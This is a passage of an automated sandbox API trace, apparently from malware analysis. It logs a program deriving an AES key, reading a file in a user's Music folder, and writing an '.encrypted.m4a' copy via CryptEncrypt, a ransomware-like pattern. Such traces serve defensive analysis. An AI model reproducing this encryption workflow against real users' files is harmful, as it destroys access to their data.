CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0026.858] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.858] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.858] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f40624f0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062330) returned 1 [0026.858] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.858] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.858] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.858] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.858] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.858] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.858] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0026.858] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.858] CryptDestroyHash (hHash=0xe8f40624f0) returned 1 [0026.858] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.859] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.859] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.859] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.860] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.860] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\nK2OfiH.m4a" (normalized: "c:\\users\\5jghkoaofdp\\music\\nk2ofih.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0026.860] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0026.860] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0026.860] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.860] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.860] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.860] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\" (normalized: "c:\\users\\5jghkoaofdp\\music")) returned 0x11 [0026.860] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\nK2OfiH.encrypted.m4a" (normalized: "c:\\users\\5jghkoaofdp\\music\\nk2ofih.encrypted.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0026.861] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.861] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.861] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.861] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.862] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0026.862] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0026.863] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x7d64, lpOverlapped=0x0) returned 1 [0026.864] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0026.867] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.867] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.867] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.867] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0026.868] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.868] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.868] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0026.869] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.869] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0026.869] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.869] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.869] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.869] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0026.870] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.870] CryptGetKeyParam (in: hKey=0xe8f4062330, dwParam=0x7, pbData=0xe8f4064bf0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064bf0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0026.870] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.870] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.870] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.870] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.870] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.870] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.870] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.870] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.870] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0026.870] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.870] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.870] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0026.870] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.870] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.870] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0026.870] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.870] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.870] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.870] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.870] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.870] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.870] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.870] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.870] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.872] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.872] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x17d64, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x17d70) returned 1 [0026.872] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.872] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.872] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.872] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.872] CharLowerBuffW (in: lpsz="byte[97649]", cchLength=0xb | out: lpsz="byte[97649]") returned 0xb [0026.872] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.874] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.874] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.874] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.874] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.874] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f6000080*, pdwDataLen=0xe8f3dfdf68*=0x17d64, dwBufLen=0x17d70 | out: pbData=0xe8f6000080*, pdwDataLen=0xe8f3dfdf68*=0x17d70) returned 1 [0026.874] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.874] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.874] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.874] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.874] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.874] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.874] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0026.874] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.874] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0026.874] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.874] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.874] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.874] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.874] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0026.874] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.874] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.874] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.879] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.880] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.880] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.882] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.882] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.882] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0026.882] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.882] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.882] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0026.882] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.882] CryptDestroyKey (hKey=0xe8f4062330) returned 1 [0026.882] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.882] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.882] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0026.882] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.882] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0026.882] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0026.882] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0026.882] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.882] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.882] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0026.882] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.882] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.883] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.883] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.883] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.883] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0026.883] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.883] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0026.883] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.883] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.883] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.883] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.883] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0026.883] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.883] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.883] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0026.883] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0026.883] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0026.883] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.883] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0026.883] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.883] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.883] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0026.883] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 